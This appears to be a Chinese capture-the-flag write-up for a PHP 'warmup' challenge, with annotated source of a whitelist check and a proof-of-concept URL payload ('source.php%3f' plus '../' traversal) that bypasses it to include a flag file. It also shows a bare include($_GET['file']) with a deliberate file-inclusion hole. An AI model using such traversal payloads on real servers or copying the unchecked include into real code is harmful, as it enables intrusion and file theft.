warmup
知识点
使用相对路径控制url读取方法
//eee.php
<?php
$f = $_GET["file"];
include($f);
?>
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) { // 或者不设置page,或者page不等于字符串时 就return 结束
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //page不能在数组里
echo "yes1";
return true; //如果执行了return,则return 语句后面的内容将不会被执行了;
}
$_page = mb_substr( //截取 $page 0,?出现的之前的字符串,相当于还是全部字符
$page,
0,
mb_strpos($page . '?', '?') //找page? 中第一次出现的位置
);
if (in_array($_page, $whitelist)) { //$_page 不能在白名单,否则return结束
echo "yes2";
return true;
}
$_page = urldecode($page); // 解码一次$page
$_page = mb_substr( //这次要截取出白名单含有的内容,下面的if返回一个true,否则下面的if不匹配,后面就返回false。最后的if条件就不成立了
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { /
echo "yes3";
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //$file非空,并且是字符串,然后用checkfile过滤完
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file']; //包含file文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
POC
source.php%3f../../../../../ffffllllaaaagggg